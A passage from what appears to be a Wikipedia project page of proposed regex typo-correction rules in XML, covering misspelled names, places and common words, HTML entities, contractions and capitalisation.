<Typo word="Wisden Cricketers' Almanack" find="\bWisden\s+Cricketer(?:[´ˈ׳᾿‘’′Ꞌꞌ`;']s\s+Almanack?|s(?:\s+Almanack?|[´ˈ׳᾿‘’′Ꞌꞌ`]\s+Almanack?|'\s+Almanac))\b" replace="Wisden Cricketers' Almanack"/>
<Typo word="Duckworth–Lewis method" find="\bDuckworth(?:[-\/\s]Lewis [mM]|–Lewis M)ethod\b" replace="Duckworth–Lewis method"/>
<Typo word="Day-Lewis" find="\b(C(?:ecil|\.?)|Daniel)\s+Day\s+Lewis\b" replace="$1 Day-Lewis"/>
<Typo word="Billie Holiday" find="\bBill(?:ie\s+Hol|y\s+Hol?)liday\b" replace="Billie Holiday"/>
<Typo word="Ludwig van Beethoven" find="\bLud(?:vig\s+[vV][ao]|wig\s+(?:V[ao]|vo))n\s+Beethoven\b" replace="Ludwig van Beethoven"/>
<Typo word="fellow_" find="\bfellow\s+(band\s?mates?|c(?:lass\s?mates?|rew\s?mates?|o(?:lleagues?|\sworkers?|m(?:patriots?|rades?)|workers?))|team\s?mates?)\b" replace="$1"/>
<Typo word="A cappella" find="\b([aA])(?:cap?| ca)pella\b(?=\s(?:cho(?:ir|rus)|group|singing|version\s))" replace="$1 cappella"/>
<Typo word="a cappella" find="\ba-?cap*el*a\b(?![^\s\.]*\.\w)" replace="a cappella"/><!--avoid Acappella (multiple meanings); avoid domains-->
<Typo word="House fire" find="\b([hH])ousefire(s)?\b" replace="$1ouse fire$2"/>
<Typo word="Tess of the d'Urbervilles" find="\bTess of the (?:D[´ˈ׳᾿‘’′Ꞌꞌ`']?[uU]r?ber?|d(?:[´ˈ׳᾿‘’′Ꞌꞌ`;'](?:ur?ber?|U(?:ber?|rbe))|ur?ber?|U(?:ber?|rbe)))villes\b" replace="Tess of the d'Urbervilles"/>
<Typo word="Thomas De Quincey" find="\bThomas\s+(?:de\s*Quince?|De(?:Quince?|\s+Quinc))y\b" replace="Thomas De Quincey"/>
<Typo word="Daphne du Maurier" find="\bDaphne\s+Du\s*Maurier\b" replace="Daphne du Maurier"/>
<Typo word="Barbra Streisand" find="\b[bB]arb[ae]ra [sS]tr[ae]?ie?sand\b" replace="Barbra Streisand"/>
<Typo word="U.S. News & World Report" find="\bU(?:\.?\s?S\.?\s?News and World [rR]eports?|\.\s?S\.News & World [rR]eports?|\.\s?S\.News (?:and World [rR]eports|& World [rR]eports)|S News (?:and World [rR]eports|& World [rR]eports?))\b" replace="U.S. News & World Report"/>
<Typo word="Deliver" find="\b([dD])eli?ever(ance|ed|i(?:es|ng)|[sy]?)\b" replace="$1eliver$2"/>
<Typo word="Makeshift" find="\b([mM])ake-shift\b" replace="$1akeshift"/>
<Typo word="-name" find="\b([mM]is|[rR]e|[uU]n)-nam(e[ds]?|ing)\b" replace="$1nam$2"/>
<Typo word="Upcoming" find="\b(an|h(?:er|is)|its|the(?:ir)?)\s+up\s+coming\b" replace="$1 upcoming"/><!--avoid end(ed|s)/wound up coming-->
<Typo word="Highlight" find="\b([hH])iglight(ed|ing|s?)\b" replace="$1ighlight$2"/>
<Typo word="Analogous" find="\b([aA])n(?:al(?:a?|l[ao]?)|nal?l[ao]?)ge?(ies|ous|y)\b" replace="$1nalog$2"/>
<Typo word="-formation" find="\b([dD]e|[iI]n|[rR]e|[tT]rans)(?:for(?:amti|maiti?)|ofra?mati)(on(?:al|s?)|ve(?:ly)?)\b" replace="$1formati$2"/>
<Typo word="Boyz II Men" find="\bBoy(?:s\s+(?:II|2|to|11)|z\s+(?:2|to|11))\s+Men\b" replace="Boyz II Men"/>
<Typo word="Bone Thugs-n-Harmony" find="\bBone\s+Thugs(?:\s+(?:and|[nN&])\s+|-N-)Harmony\b" replace="Bone Thugs-n-Harmony"/>
<Typo word="Liza Minnelli" find="\bLiza\s+Minelli\b" replace="Liza Minnelli"/>
<Typo word="Carl Philipp Emanuel Bach" find="\b(?:Carl\s+(?:Phil(?:lipp?\s+Em(?:an(?:nuell?|uell?)|man(?:nuell?|uell?))|ip(?:\s+Em(?:an(?:nuell?|uell?)|man(?:nuell?|uell?))|p\s+Em(?:an(?:nuell?|uell)|man(?:nuell?|uell?)))))|Karl\s+Phill?ipp?\s+Emm?ann?uell?)\s+Bach\b" replace="Carl Philipp Emanuel Bach"/>
<Typo word="-ency" find="\b([aA]g|[tT]end)anc(ies|y)\b" replace="$1enc$2"/>
<Typo word="Yiddish" find="\byiddish\b(?![^\s\.]*\.\w)" replace="Yiddish"/><!--avoid domains-->
<Typo word="Postpone" find="\b([pP])ost[−―–—\s][pP]on(e[ds]?|ing)\b" replace="$1ostpon$2"/>
<Typo word="Huguenot" find="\bHugenot(s)?\b" replace="Huguenot$1"/>
<Typo word="Usage" find="\b([uU])seage(s)?\b" replace="$1sage$2"/>
<Typo word="Congregate" find="\b([cC])ong(?:e(?:gr?|rg)|regr?)at([a-z]+)\b" replace="$1ongregat$2"/>
<Typo word="Anniversary (2)" find="\b(\d+(?:[nr]d|st|th)|e(?:ight(?:eenth|h|ieth)|leventh)|f(?:i(?:ft(?:eenth|h|ieth)|rst)|o(?:rtieth|urt(?:eenth|h)))|hundredth|nint(?:eenth|h|ieth)|s(?:e(?:cond|vent(?:eenth|h|ieth))|ixt(?:eenth|h|ieth))|t(?:enth|h(?:ir(?:d|t(?:eenth|ieth))|ousandth)|we(?:lfth|ntieth)))[−―–—\s]year\s[aA]nniv[ei]rs[ai]ry\b" replace="$1 anniversary"/>
<Typo word="Anniversary" find="\b([aA])n(?:ivers[ae]|n(?:niversa|iv(?:arsa|e(?:r(?:a|se)|sa))))r(ies|y)\b" replace="$1nniversar$2"/>
<Typo word="Collaborate" find="\b([cC])ol(?:ab[eo]r+|lab(?:[eo]r+))at([a-z]+)(?:\stogether)?\b" replace="$1ollaborat$2"/>
<Typo word="People en Español" find="\bPeople\s+(?:En\s+[eE]spa[nñ]|en\s+(?:Espan|espa[nñ]))ol\b" replace="People en Español"/>
<Typo word="Mombasa" find="\bMombassa\b(?![^\s\.]*\.\w)" replace="Mombasa"/><!--avoid domains-->
<Typo word="Dar es Salaam" find="\bDar(?:[−―–—\s]+Es[−―–—\s]+|-es-)[sS]alaa?m\b" replace="Dar es Salaam"/>
<Typo word="Kingdom" find="\b([kK])indgom(s)?\b" replace="$1ingdom$2"/>
<Typo word="Mediterranean" find="\b([mM])ed(?:[aei]t+er?)ra(?:in[aei]{1,2}|n[aei]{1,2})n\b(?<!iterranean)" replace="$1editerranean"/>
<Typo word="Kingston upon Thames/Newcastle upon Tyne" find="\b(Kingston|Newcastle)(?:[−―–—\s]+(?:[oO]n[−―–—\s]+|Upon[−―–—\s]+)|-upon-)[tT](hames|yne)\b" replace="$1 upon T$2"/>
<Typo word="Renaissance" find="\b([rR])en(?:ai|nais?)sance\b" replace="$1enaissance"/>
<Typo word="(De/Pre)scri(be/ption)" find="\b([dD]|[pP]r)(?:e(?:cr|s(?:c(?:ri)?|r))|iscr)i(b(?:e[ds]?|ing)|ptions?)\b" replace="$1escri$2"/>
<Typo word="Family" find="\b([fF])(?:amil[il]y|imily)\b(?![^\s\.]*\.\w)" replace="$1amily"/><!--avoid domains-->
<Typo word="Straightforward" find="\b([sS])traight-forward(ly)?\b" replace="$1traightforward$2"/>
<Typo word="VHS" find="\b[vV]hs\b(?![^\s\.]*\.\w)" replace="VHS"/><!--avoid domains-->
<Typo word="Citizen" find="\b([cC])it(?:iz(?:a|ie)|ze)n(ry|s(?:hips?)?)?\b(?![^\s\.]*\.\w)" replace="$1itizen$2"/><!--avoid domains-->
<Typo word="Tagalog" find="\btagalog\b(?![^\s\.]*\.\w)" replace="Tagalog"/><!--avoid domains-->
<Typo word="Franco" find="\bfranco\b(?![^\s\.]*\.\w)" replace="Franco"/><!--avoid domains-->
<Typo word="Their own" find="\b([tT])here\sown\b" replace="$1heir own"/>
<Typo word="Procter & Gamble" find="\bProctor\s?(?:and|\&)\s?Gamble\b" replace="Procter & Gamble"/>
<Typo word="Tuareg" find="\bTaureg\b(?![^\s\.]*\.\w)" replace="Tuareg"/><!--avoid domains-->
<Typo word="filmmak(er/ing)" find="\bfilmak(ers?|ing)\b" replace="filmmak$1"/><!--did not include "Filmaker", which could be "Filemaker"-->
<Typo word="(best/well) known" find="\b([bB]est|[wW]ell)-known(?<!the (?:best-known|well-known))(?=\s+(?:a(?:broad|cross|fter|mou?ng(?:st)?|round|[st])|b(?:ecause|y)|du(?:e|ring)|enough|f(?:o(?:llowing|r)|rom)|in(?:ternationally)?|locally|nationally|o(?:n|utside)|t(?:h(?:at|ere|rough(?:out)?)|o)|un(?:der|til)|w(?:hen|ith(?:in)?|orldwide))\b)" replace="$1 known"/>
<Typo word="_(forced/used) to" find="\b((?:a(?:m|re)|is|w(?:as|ere))(?:\s+not|n[´ˈ׳᾿‘’′Ꞌꞌ`']t)?)\s+(force|use)\s+to\b" replace="$1 $2d to"/>
<Typo word="_(ex/op/pro)posed to" find="\b((?:a(?:m|re)|is|w(?:as|ere))(?:\s+not|n[´ˈ׳᾿‘’′Ꞌꞌ`']t)?)\s+(ex|op|pro)pose\s+to\b" replace="$1 $2posed to"/>
<Typo word="Istanbul" find="\bInstan?bul\b" replace="Istanbul"/>
<Typo word="X-Men" find="\b[xX]-?men\b(?![^\s\.]*\.\w)" replace="X-Men"/><!--avoid domains-->
<Typo word="Walgreens" find="\bWalgreen[´ˈ׳᾿‘’′Ꞌꞌ`']s\b(?![^\s\.]*\.\w)" replace="Walgreens"/><!--avoid domains-->
<Typo word="Port-au-Prince" find="\bPort(?: [aA]u[ -]|-Au[ -])Prince\b" replace="Port-au-Prince"/>
<Typo word="(Dis/Re)Organi(s/z)e" find="\b([dD]iso|[oO]|[rR]eo)(?:grani|rg(?:an|ini|ni))([sz](?:ation(?:al|s?)|e[ds]?|ing))\b" replace="$1rgani$2"/>
<Typo word="Respectively" find="\b([rR])espectiv(?:ell|le)y\b" replace="$1espectively"/>
<Typo word="-par(ed/ing)" find="\b([cC]om|[pP]re)pair(ed|ing)\b" replace="$1par$2"/><!--avoid Compair, proper name-->
<Typo word="-pares" find="\b([cC]om|[pP]re)pairs\b" replace="$1pares"/><!--avoid Compair, proper name-->
<Typo word="-cipality" find="\b([mM]uni|[pP]rin)ci?pal[aei]?t(?:i?t?(ies)|(e)(i)(s)|[ei]?t?(y))(?<!cipalit(?:ies|y))\b" replace="$1cipalit$2$4$3$5$6"/>
<Typo word="Commun-" find="\b(?!Comunal\b)([cC])om(?:mun(?:nt?|t)|un(?:nt?|t?))(al(?:ly)?|i(?:ons?|s[mt]s?|t(?:ies|y)))\b" replace="$1ommun$2"/><!--avoid Comunal, place name-->
<Typo word="-unity" find="\b([cC]omm|[dD]is|[iI]m[mp])untiy\b(?![^\s\.]*\.\w)" replace="$1unity"/><!--avoid domains-->
<Typo word="Stonemason" find="\b([sS])tone[−―–—\s]mason(s)?\b(?![^\s\.]*\.\w)" replace="$1tonemason$2"/><!--avoid domains-->
<Typo word="Modifie(d/r/s)" find="\b([mM])odife([ds]|rs?)\b" replace="$1odifie$2"/>
<Typo word="Inheritance" find="\b([iI])nher[aei]tence(s)?\b" replace="$1nheritance$2"/>
<Typo word="Inherit(s/ance/ed)" find="\b([iI])nheret(ances?|ed|ing|s?)\b" replace="$1nherit$2"/>
<Typo word="Still lifes" find="\b([sS])till-lifes\b" replace="$1till lifes"/><!--avoid "still life" (e.g. "still-life artist")-->
<Typo word="Colleg-" find="\b([cC])oleg(es?|iate)\b" replace="$1olleg$2"/>
<Typo word="DVD" find="\b[dD]vd(s)?\b(?![^\s\.]*\.\w)" replace="DVD$1"/><!--avoid domains-->
<Typo word="(O)possum" find="\b([oO]p|[pP])(?:os(?:[ou]|so)|pos(?:[ou]|s[ou]))m(ons?|s?|us|woods?)\b" replace="$1ossum$2"/>
<Typo word="Aborigine" find="\b([aA])bor(?:gi|ig)ni?(al|es?)\b" replace="$1borigin$2"/>
<Typo word="Appeared" find="\b([aA]|[dD]isa|[rR]ea)ppear(?:re)?d\b" replace="$1ppeared"/>
<Typo word="-tain" find="\b([aA](?:bs|[ps][cp][eu]r)|[bB]ri|[cC](?:ap|er|hief|on|ur)|[fF]oun|[mM](?:ain|oun)|[pP][eu]r|[uU]n[cp][eu]r)t(?:ain[ai]|ian[ai]?)(cy|ed|ing|ly|ous|s?|t(?:ies|y))\b" replace="$1tain$2"/><!--avoid proper name Detian-->
<Typo word="Hillary Clinton" find="\bHilary(\s+R(?:odham|\.))?\s+Clint[io]n\b" replace="Hillary$1 Clinton"/>
<Typo word="Supposed to" find="\b((?:a(?:m|re)|is|w(?:as|ere))(?:\s+not|n[´ˈ׳᾿‘’′Ꞌꞌ`']t)?)\s+suppose\s+to\b" replace="$1 supposed to"/>
<Typo word="Stalwart" find="\b([sS])tal(?:lwa|we)rt(s)?\b" replace="$1talwart$2"/>
<Typo word="Corporal" find="\b([cC])orpral(s)?\b(?![^\s\.]*\.\w)" replace="$1orporal$2"/><!--avoid domains-->
<Typo word="Savvy" find="\b([sS])aavy\b(?![^\s\.]*\.\w)" replace="$1avvy"/><!--avoid domains-->
<Typo word="tambourine" find="\btamborine\b" replace="tambourine"/><!--avoid Queensland place "Tamborine"-->
<Typo word="Contiguous" find="\b([cC])ontingu([a-z]+)\b" replace="$1ontigu$2"/>
<Typo word="Broccoli" find="\b([bB])roc(?:c+oll|ol+)i\b(?![^\s\.]*\.\w)" replace="$1roccoli"/><!--avoid domains-->
<Typo word="Prevail" find="\b([pP])reva(?:il)?l(ed|ing(?:ly)?)\b" replace="$1revail$2"/><!--avoid "Prevale"-->
<Typo word="Melbourne" find="\b[mM]el+bou(?:nr?|r)e\b(?![^\s\.]*\.\w)" replace="Melbourne"/><!--avoid domains-->
<Typo word="Invasion" find="\b([iI])nvassion(s)?\b" replace="$1nvasion$2"/>
<Typo disabled="exactly the same" find="\bth(?:at|e|is|ose)\s+exact\s+same\b" replace="exactly the same"/><!--Not a typo, but a wording choice. And while some say it's redundant or what not, it is idiomatic (see https://www.merriam-webster.com/words-at-play/usage-exact-same). It should not be automatically changed.-->
<Typo word="Golem" find="\b([gG])ollem(s)?\b(?![^\s\.]*\.\w)" replace="$1olem$2"/><!--avoid domains-->
<Typo word="Cancel" find="\b([cC])ancl(ations?|ed|ing|l(?:ations?|ed|ing))\b" replace="$1ancel$2"/><!--Replace Cancellation below? It seems one or two l's are acceptable-->
<Typo word="A lot" find="\b([aA])lot\b(?<!Laf\s+Alot)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="$1 lot"/><!--avoid domains & URLs-->
<Typo word="Public (domain/housing/library)" find="\b([pP])ubic\s*(domain|hous(?:e|ing)|librar(?:ies|y))\b" replace="$1ublic $2"/>
<Typo word="Landmark" find="\b([lL])and\s+mark(s)?\b" replace="$1andmark$2"/>
<Typo word="Nickname" find="\b([nN])ick[−―–—\s]+nam(e[ds]?|ing)\b" replace="$1icknam$2"/>
<Typo word="Since then" find="\b([sS])ince\s+than\b" replace="$1ince then"/>
<Typo word="Aero-" find="\b([aA])reo(bics?|d(?:romes?|ynamic(?:al[a-z]*|s?))|mechanic(?:al[a-z]*|s?)|nautic(?:al[a-z]*|s?)|planes?|s(?:ols?|pace))\b" replace="$1ero$2"/>
<Typo word="Opioid" find="\b([oO])piod(s)?\b" replace="$1pioid$2"/>
<Typo word="Johns Hopkins University" find="\b[jJ]oh?n(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s)?\s+[hH]opkins?\s+[uU]niversity\b" replace="Johns Hopkins University"/>
<Typo word="Recipient" find="\b([rR])ec(?:ei?|ie)pient(s)?\b" replace="$1ecipient$2"/>
<Typo word="Annually" find="\b([aA])n(?:n(?:aull|ual+)|ual+)y\b(?<!nnually)" replace="$1nnually"/>
<Typo word="Centenary" find="\b([cC])enten(?:e|na)r(i(?:ans?|es)|y)\b" replace="$1entenar$2"/>
<Typo word="Vice versa" find="\b([vV])is(?:[ae]|-a)[−―–—\s]*versa\b" replace="$1ice versa"/>
<Typo word="Public school" find="\b([pP])ubic\s*([sS])[ch]{1,2}o+l\b" replace="$1ublic $2chool"/>
<Typo word="Publication" find="\b([pP])ubica([a-z]+)\b" replace="$1ublica$2"/>
<Typo word="(In)Conspicuous" find="\b([cC]|[iI]nc)onspici?ous([a-z]*)\b" replace="$1onspicuous$2"/>
<Typo word="Genius" find="\b([gG])en[io]{2}us\b(?![^\s\.]*\.\w)" replace="$1enius"/><!--avoid domains-->
<Typo word="Men'?s_ (1)" find="\b([mM])ens[´ˈ׳᾿‘’′Ꞌꞌ`;']?s?\s+([bB]as(?:eball|ketball)|[cC](?:lothing|rew)|[fF]itness|[gG]olf|[hH]ealth|[jJ]ournal|[lL]acrosse|[mM]agazine|[rR]ooms?|[sS]ports?|[tT]e(?:ams?|nnis)|and\s+[wW]omen[´ˈ׳᾿‘’′Ꞌꞌ`;']?s)\b" replace="$1en's $2"/>
<Typo word="Men's (2)" find="\b([mM])ens[´ˈ׳᾿‘’′Ꞌꞌ`']s?\s+" replace="$1en's "/><!--avoid "mens" without apostrophe (L.); see also "-men's"-->
<Typo word="Jersey" find="\b([jJ])ersy\b" replace="$1ersey"/>
<Typo word="Strasbourg" find="\b([sS])trassbourg\b(?![^\s\.]*\.\w)" replace="$1trasbourg"/><!--avoid domains-->
<Typo word="NF-κB" find="\b[nN][fF]-?[kK][bB]\b" replace="NF-κB"/>
<Typo word="Dairy_" find="\b([dD])iary\s+(allerg(?:ies|y)|c(?:attle|ouncil)|f(?:arm[a-z]*|oods?)|milk|products?|Queen)\b" replace="$1airy $2"/>
<Typo word="(In)Different" find="\b([dD]|[iI]nd)if(?:e[fr]?|f[ai]?)rene?([a-z]+)\b" replace="$1ifferen$2"/>
<Typo word="Stomach" find="\b([sS])t(?:om(?:ache|och)|umach)(s)?\b" replace="$1tomach$2"/>
<Typo word="Inspection" find="\b([iI])npect(ions?|ors?)\b" replace="$1nspect$2"/>
<Typo word="Re(tro)spective" find="\b([rR]e(?:tro)?)pective(ly|s?)\b" replace="$1spective$2"/>
<Typo word="Identi-" find="\b([iI])ndenti(cal[a-z]*|f(?:i[a-z]+|y[a-z]*)|t(?:ies|y))\b" replace="$1denti$2"/>
<Typo word="Incorporate" find="\b([iI])ncor(?:op(?:or(?:at|ta)|rat)|p(?:orta|rat))(e[ds]?|i(?:ng|on))\b" replace="$1ncorporat$2"/>
<Typo word="Etc." find="\b(?:and\s+)?([eE])(?:tc\b(?<!/etc)([^\.\w])|ct\b\.*)" replace="$1tc.$2"/><!--avoid /etc the Unix file directory-->
<Typo word="(Dis)Establishment" find="\b([dD]ise|[eE])stablishement([a-z]*)\b" replace="$1stablishment$2"/>
<Typo word="Genghis Khan" find="\bG(?:h[ei]ngh?i[sz]?\s+[kK]h?ah?n?|ingh?i[sz]?\s+[kK]h?ah?n?|eng(?:hi(?:s\s+(?:kh?ah?n?|K(?:ah?n?|ha(?:hn?)?))|z\s+[kK]h?ah?n?|\s+[kK]h?ah?n?)|i[sz]?\s+[kK]h?ah?n?))\b" replace="Genghis Khan"/>
<Typo word="Qur'an" find="\bQ(?:or[´ˈ׳᾿‘’′Ꞌꞌ`']?a?[´ˈ׳᾿‘’′Ꞌꞌ`']?(?:[âáā]|aa?)|u(?:or[´ˈ׳᾿‘’′Ꞌꞌ`']?a?[´ˈ׳᾿‘’′Ꞌꞌ`']?(?:[âáā]|aa?)|[´ˈ׳᾿‘’′Ꞌꞌ`']ra?[´ˈ׳᾿‘’′Ꞌꞌ`'](?:[âáā]|aa?)|r(?:a[´ˈ׳᾿‘’′Ꞌꞌ`'](?:[âáā]|aa?)|ra?[´ˈ׳᾿‘’′Ꞌꞌ`](?:[âáā]|aa?)|[´ˈ׳᾿‘’′Ꞌꞌ`]ra?[´ˈ׳᾿‘’′Ꞌꞌ`](?:[âáā]|aa?)|'(?:[âáā]|aa))))n(ic)?\b" replace="Qur'an$1"/><!--not Qaran-->
<Typo word="Guns N' Roses" find="\bGuns(?:[−―–—\s](?:&|[´ˈ׳᾿‘’′Ꞌꞌ`;'](?:n[´ˈ׳᾿‘’′Ꞌꞌ`']?|N[´ˈ׳᾿‘’′Ꞌꞌ`\s-])|n[´ˈ׳᾿‘’′Ꞌꞌ`']?|N[´ˈ׳᾿‘’′Ꞌꞌ`\s-])|[´ˈ׳᾿‘’′Ꞌꞌ`;'](?:n[´ˈ׳᾿‘’′Ꞌꞌ`']?|N[´ˈ׳᾿‘’′Ꞌꞌ`\s-])|n[´ˈ׳᾿‘’′Ꞌꞌ`']?|N[´ˈ׳᾿‘’′Ꞌꞌ`\s-]|&)[−―–—\s]?Roses\b" replace="Guns N' Roses"/>
<Typo word="(S/T)old" find="\b([stST])elled\b" replace="$1old"/>
<Typo word="Commedia dell'arte" find="\b([cC])om+edia\s*[dD]el+[´ˈ׳᾿‘’′Ꞌꞌ`'\s]*\s*?[aA]rte?\b(?<![cC]ommedia dell'arte)" replace="$1ommedia dell'arte"/>
<Typo word="i.e." find="\bi(?:e\.|\.?e)([´ˈ׳᾿‘’′Ꞌꞌ`'\s,:;\)&-])(?<![^\s\.]*ie[^\.]|\.ie.|[´ˈ׳᾿‘’′Ꞌꞌ`']ie[´ˈ׳᾿‘’′Ꞌꞌ`']|\-ie[\s\|\-:])" replace="i.e.$1"/><!--don't generalize to capital Ie; avoid matching website.ie; avoid matching 'ie' used as syllable-->
<Typo word="(1911|Edinburgh) Encyclopædia" find="\b(1911|Edinburgh)\s+[eE]ncyclop(?:ae|e?)dia\b" replace="$1 Encyclopædia"/>
<Typo word="Britannica Online" find="\b[bB]rit(?:an(?:ic*|n+ic)|tan+ic*)ca+\s+[oO]nline\b" replace="Britannica Online"/>
<Typo word="Platform" find="\b([pP])lataform(s)?\b" replace="$1latform$2"/>
<Typo word="(Over/Under)Achievement" find="\b([aA]|[oO]vera|[uU]ndera)che?ie?v(d|ments?)\b" replace="$1chieve$2"/>
<Typo word="Elliptic(al/ally)" find="\b([eE])liptic(al(?:ly)?)?\b" replace="$1lliptic$2"/>
<Typo word="Irreparable" find="\b([iI])rrep(?:ai|e)rabl([ey])\b" replace="$1rreparabl$2"/>
<Typo word="Lantern" find="\b([lL])atern(s(?<!Laterns))?\b" replace="$1antern$2"/><!--avoid place name Laterns-->
<Typo word="In(evi/fla/imi/jec)table" find="\b([iI])n(evi|fla|imi|jec)tibl(es?|y)\b" replace="$1n$2tabl$3"/>
<!--word="The Earth's" find="\b([tT])he\s+earth[´ˈ׳᾿‘’′Ꞌꞌ`']s\b" replace="$1he Earth's"/> disabled for now-->
</source>
====New HTML entities====
<source lang="xml">
<Typo word="#x000e1;" find="á" replace="á"/>
<Typo word="#x000f6;" find="ö" replace="ö"/>
<Typo word="#x000E1;" find="á" replace="á"/>
<Typo word="#x000f3;" find="ó" replace="ó"/>
<Typo word="#x000E9;" find="é" replace="é"/>
<Typo word="’" find="'" replace="’" /><!-- ruwiki -->
</source>
====New contractions====
:''Per [[WP:CONTRACTION]], the use of contractions is informal and should be avoided.''
<source lang="xml">
<!--Typo word="cannot" find="\bcan[´ˈ׳᾿‘’′Ꞌꞌ`']t\b" replace="cannot"/><!--avoid uppercase titles-->
<!--Typo word="will not" find="\bwon[´ˈ׳᾿‘’′Ꞌꞌ`']t\b" replace="will not"/><!--avoid uppercase titles-->
<!--Typo word=" not" find="\b(are|could|d(?:id|o(?:es)?)|ha(?:[ds]|ve)|is|m(?:ight|ust)|should|w(?:as|ere|ould))n[´ˈ׳᾿‘’′Ꞌꞌ`']t\b" replace="$1 not"/><!--avoid uppercase titles, can't and won't have separate rules-->
<!--Typo word=" are" find="\b(they|w(?:e|h(?:at|o))|you)[´ˈ׳᾿‘’′Ꞌꞌ`']re\b" replace="$1 are"/><!--avoid uppercase titles-->
<!--Typo word=" have" find="\b(could|should|they|w(?:h(?:at|o)|ould)|you)[´ˈ׳᾿‘’′Ꞌꞌ`']ve\b" replace="$1 have"/><!--avoid uppercase titles-->
<!--Typo word=" will" find="\b(he|she|they|wh(?:at|o)|you)[´ˈ׳᾿‘’′Ꞌꞌ`']ll\b" replace="$1 will"/><!--avoid uppercase titles-->
</source>
====New capitalisation====
<source lang="xml">
<Typo word="Kurd" find="\bkurd(s|ish|istani?|istanê|î)\b(?![^\s\.]*\.\w)" replace="Kurd$1"/><!--avoid domains-->
<Typo word="GPU" find="\b(?<=\s)(?<!\|\s{0,9})([Gg]pu)\b(?![^\s\.]*\.\w)" replace="GPU"/><!--avoid in infobox, filenames i.e mydriver/gpu and domains-->
<Typo word="Pro Tools" find="\b[pP]ro(?:\st|[tT])ools\b" replace="Pro Tools"/>
<Typo word="Microsoft PowerPoint" find="\b[mM]icrosoft\s+[pP]owerpoint\b" replace="Microsoft PowerPoint"/>
<Typo word="Pacific Ocean" find="(?!Pacific Ocean)\b[pP]acific\s+[oO]cean\b" replace="Pacific Ocean"/>
<Typo word="Atlantic Ocean" find="(?!Atlantic Ocean)\b[aA]tlantic\s+[oO]cean\b" replace="Atlantic Ocean"/>
<Typo word="Arctic Ocean" find="(?!Arctic Ocean)\b[aA]rctic\s+[oO]cean\b" replace="Arctic Ocean"/>
<Typo word="Indian Ocean" find="(?!Indian Ocean)\b[iI]ndian\s+[oO]cean\b" replace="Indian Ocean"/>
<Typo word="LP" find="\b(\d\d?)\s?[lL][pP]s?\s(album|box\s?sets?|sets?)\b" replace="$1-LP $2"/>
<Typo word="USB" find="\busb\b(?![^\s\.]*\.\w)" replace="USB"/><!--avoid domains-->
<Typo word="eBay" find="\b[eE]\-?bay\b(?![^\s\.]*\.\w)" replace="eBay"/><!--avoid domains-->
<Typo word="PlayStation" find="\b[pP]laystation(s)?\b(?![^\s\.]*\.\w)" replace="PlayStation$1"/><!--avoid domains-->
<Typo word="Islam(ic)" find="\bislam(i(?:cs?|s[mt]s?))?\b(?![^\s\.]*\.\w)" replace="Islam$1"/><!--avoid domains-->
<Typo word="Tamil Nadu" find="\b(?:tamil\s*[nN]|Tamil(?:[nN]|\s+n))adu\b" replace="Tamil Nadu"/>
<Typo word="Indore" find="\bindor([ei](?:ans?|tes?)?)\b(?![^\s\.]*\.\w)" replace="Indor$1"/><!--avoid domains-->
<Typo word="_Thanksgiving Day" find="\bThanks?giving\s+day\b" replace="Thanksgiving Day"/>
<Typo word="PayPal" find="\b(?:pay[pP]|Payp)al\b(?![^\s\.]*\.\w)" replace="PayPal"/><!--avoid domains-->
<Typo word="Sufi(sm)" find="\bsufi(m?|sm?)\b(?![^\s\.]*\.\w)" replace="Sufi$1"/><!--avoid domains-->
<Typo word="Europe" find="\beurope(a(?:n(?:i[sz](?:ation|e[ds]?)|s?)))?\b" replace="Europe$1"/>
<Typo word="CD" find="\b(\d\d?)\s?[cC][dD]s?\s(album|[bB]ox\s?[sS]ets?|[sS]ets?)\b" replace="$1-CD $2"/><!--avoid 'cd' when it is an abbreviation for candela-->
<Typo word="Sikh(s)" find="\bsikh([´ˈ׳᾿‘’′Ꞌꞌ`']?s?[´ˈ׳᾿‘’′Ꞌꞌ`']?)\b(?![^\s\.]*\.\w)" replace="Sikh$1"/><!--avoid domains-->
<Typo word="Celtic" find="\bceltic\b(?![^\s\.]*\.\w)" replace="Celtic"/><!--Celtic not Celt because of [[Celt (tool)]]--><!--avoid domains-->
<Typo word="Mumbai" find="\bmumbai\b(?![^\s\.]*\.\w)" replace="Mumbai"/><!--avoid domains-->
<Typo word="Anglo" find="\banglo\b(?![^\s\.]*\.\w)" replace="Anglo"/><!--avoid domains-->
<Typo word="Swahili" find="\bswahili\b(?![^\s\.]*\.\w)" replace="Swahili"/><!--avoid domains-->
<Typo word="Hollywood" find="\bholl?y[wW]ood\b(?![^\s\.]*\.\w)" replace="Hollywood"/><!--avoid domains-->
<Typo word="Kannada" find="\bkannada(n)?\b(?![^\s\.]*\.\w)" replace="Kannada$1"/><!--avoid domains-->
<Typo word="Allah" find="\ballah\b(?![^\s\.]*\.\w)" replace="Allah"/><!--avoid domains-->
<Typo word="Bengal(is)" find="\bbengal(is?|s?)\b(?![^\s\.]*\.\w)" replace="Bengal$1"/><!--avoid domains-->
<Typo word="Bollywood" find="\bboll?y[wW]ood\b(?![^\s\.]*\.\w)" replace="Bollywood"/><!--avoid domains-->
<Typo word="Brahmin" find="\bbrahmin(s)?\b(?![^\s\.]*\.\w)" replace="Brahmin$1"/><!--avoid domains-->
<Typo word="April Fool('s/s') Day" find="\b[aA]pril\s+[fF]ool([´ˈ׳᾿‘’′Ꞌꞌ`']s|s[´ˈ׳᾿‘’′Ꞌꞌ`'])\s+day\b" replace="April Fool$1 Day"/>
<Typo word="April Fools' Day" find="\b[aA]pril\s+[fF]ools[´ˈ׳᾿‘’′Ꞌꞌ`]?\s+[dD]ay\b" replace="April Fools' Day"/>
<Typo word="Fourth of July" find="\b(?:Fo|fou?)rth\s+[oO]f\s+[jJ]uly\b" replace="Fourth of July"/>
<Typo word="Thanksgiving" find="\b([tT])hans?kgs?iving(s)?\b" replace="$1hanksgiving$2"/>
<Typo word="New Year's Day_" find="\b[nN]ew\s+[yY]ear(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s\s+d|s(?:\s+d|[´ˈ׳᾿‘’′Ꞌꞌ`']s?\s+[dD]))ay\b" replace="New Year's Day"/><!--avoid band name New Years Day-->
<Typo word="New Year's Eve" find="\b[nN]ew\s+[yY]ear(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s\s+e|s[´ˈ׳᾿‘’′Ꞌꞌ`']?s?\s+[eE])ve\b" replace="New Year's Eve"/>
